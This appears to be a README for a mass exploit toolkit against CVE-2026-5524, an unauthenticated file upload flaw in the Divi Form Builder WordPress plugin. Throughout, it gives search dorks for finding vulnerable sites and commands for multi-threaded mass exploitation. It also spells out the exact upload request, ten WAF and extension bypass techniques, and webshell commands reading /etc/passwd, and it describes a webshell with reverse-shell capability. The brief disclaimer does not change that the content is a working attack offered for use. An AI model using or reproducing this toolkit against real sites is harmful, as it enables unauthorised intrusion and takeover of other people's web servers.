
Mass exploit toolkit for CVE-2026-5524, an unauthenticated file upload RCE in Divi Form Builder. Features multi-threaded scanning, WAF bypass techniques, custom webshell deployment, and interactive command execution.
Mass exploit toolkit for CVE-2026-5524, an unauthenticated arbitrary file upload vulnerability in the WordPress plugin Divi Form Builder <= 5.1.8 leading to remote code execution.
| Field | Value |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Critical) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected | Divi Form Builder <= 5.1.8 |
| Patched | 5.1.9 |
| Type | Unauthenticated File Upload to RCE |
| Researcher | 0xd4rk5id3 - EnvoraSec |
The Divi Form Builder plugin for WordPress contains an unauthenticated arbitrary file upload vulnerability. The do_image_upload() handler passes the user-controlled acceptFileTypes POST parameter directly into a regular expression used to validate file extensions. By supplying a value such as phtml, an attacker can bypass the plugin's .htaccess rule that only blocks the .php extension and upload a webshell with a PHP-executable extension (.phtml, .phar, .php5, .php7, and similar).
Once the file lands in /wp-content/uploads/de_fb_uploads/, Apache executes it as PHP, granting the attacker remote code execution as the web server user.
The issue is fixed in Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Requirements: Python 3.8 or newer on Linux, macOS, or WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
For targets behind a WAF (NinjaFirewall, Wordfence, ModSecurity) or with hardened Apache or nginx configuration.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
After a successful upload, the script can immediately execute a command or drop into an interactive shell.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
The vulnerable handler constructs a regex from user input without sanitization.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
By sending acceptFileTypes=phtml, the resulting regex /\.(phtml)$/i matches filenames ending in .phtml, even though the plugin's own .htaccess file only blocks the .php extension. Apache then executes the uploaded file as PHP, producing remote code execution.
Crawl a page that embeds a Divi Form Builder form (/, /contact, /quote, etc). Append a ?nocache=<random> parameter to defeat Varnish, WP Rocket, and other page caches that would otherwise serve a stale nonce.
Extract the fb_nonce value from the localised JavaScript object:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
POST a multipart form to /wp-admin/admin-ajax.php with:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Read the file URL from the JSON response:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Request the shell with a base64 encoded command:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
The script tries each technique in priority order and, when --aggressive is set, attempts every one even after the first upload reports success.
cve-2026-5524/
|-- CVE-2026-5524.py Main exploit script
|-- bypass.phtml 16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt Example target list
|-- pwned.jsonl Generated by the -o flag during mass scans
|-- requirements.txt Python dependencies
`-- README.md This document
+--------------------------------------------------+
| 1. Recon |
| GET /?nocache=<random> |
| Parse fb_nonce from de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Craft exploit |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Server accepts and stores file |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Execute |
| GET shell.phtml?x=base64(command) |
| Remote code execution achieved |
+--------------------------------------------------+
This tool is provided for educational purposes and for use during authorised penetration testing engagements. Examples of acceptable use include:
Unauthorised use against systems you do not own or have explicit written permission to test is illegal in virtually every jurisdiction and is strictly prohibited. The author does not condone or take responsibility for misuse of this code.
J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)
Laws of likely relevance include Indonesia's UU ITE, the United States Computer Fraud and Abuse Act, the European Union Cybercrime Convention, and equivalent legislation elsewhere. When in doubt, obtain written authorisation first.
Educational use only. See the disclaimer section for the full terms of use.
| Flag | Description |
|---|
-u URL | Single target URL |
-l FILE | File containing target list, one URL per line |
-t N | Number of concurrent threads (default 10) |
--timeout N | Request timeout in seconds (default 15) |
-o FILE | Save results to JSONL output file |
--proxy URL | Route traffic through HTTP proxy |
--nonce HASH | Use a manually provided nonce, skip autodetection |
--ext EXT | Force a single extension instead of the full bypass list |
--shell | Drop into interactive RCE shell on success (single target only) |
--cmd CMD | Execute one command on the target, then exit |
--shell-file FILE | Upload a custom shell payload instead of the built-in one |
--no-verify | Skip the post-upload RCE verification step |
--strict-verify | Confirm shell URL returns HTTP 200 to filter false positives |
--user-ini | Upload a .user.ini dropper for PHP-FPM environments |
--htaccess | Upload a .htaccess re-enabler for Apache environments |
--aggressive | Enable every available bypass technique |
--null-byte | Include null byte and double extension attempts |
--path-traversal | Try uploading to /uploads/YYYY/MM/ subdirectories |
--debug | Print raw HTTP responses for diagnosis |
| # | Technique | Targets |
|---|
| 1 | Alternative PHP extensions .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Plugin .htaccess rule that only blocks .php |
| 2 | Case variation .PHTML, .PHP5, .PhTmL | Case-sensitive WAF signatures (NinjaFirewall) |
| 3 | Double extension .phtml.jpg, .php.jpg | Apache mod_mime content-negotiation quirks |
| 4 | Null byte .php%00.jpg, .phtml%00.txt | Old PHP versions (less than 5.3.4) and certain parsers |
| 5 | Trailing space or dot .php , .php. | Windows IIS and older Apache versions |
| 6 | Content-Type spoofing application/octet-stream | WAFs that key on the multipart Content-Type header |
| 7 | Upload a real .htaccess that re-enables PHP for .gif, .png, .jpg, .txt, .html, etc. | Apache servers with AllowOverride All |
| 8 | Upload a .user.ini with auto_prepend_file | PHP-FPM environments |
| 9 | Filename injection through multipart boundary manipulation | Proxies and WAFs that re-parse the request body |
| 10 | Path traversal ../shell.phtml in the filename | Plugin directory restrictions |
| Component | Technology |
|---|
| Language | Python 3.8+ |
| HTTP client | requests |
| TLS handling | urllib3 in insecure mode for self-signed certificates |
| Concurrency | concurrent.futures.ThreadPoolExecutor for mass scanning |
| Parsing | re for nonce extraction, json for response handling |
| Encoding | base64 for webshell command parameter |
| CLI | argparse with 19 configurable flags |
| Component | Technology |
|---|
| Language | PHP 7.0+ |
| Execution functions | system(), shell_exec(), proc_open(), passthru(), popen() |
| Front end | Plain HTML form, no JavaScript framework |
| Features | File browser, command execution, database access, reverse shell, self-installing .htaccess and .user.ini |
| Size | Approximately 16 KB |
| Bypass layers | Six independent execution paths plus encoded payloads |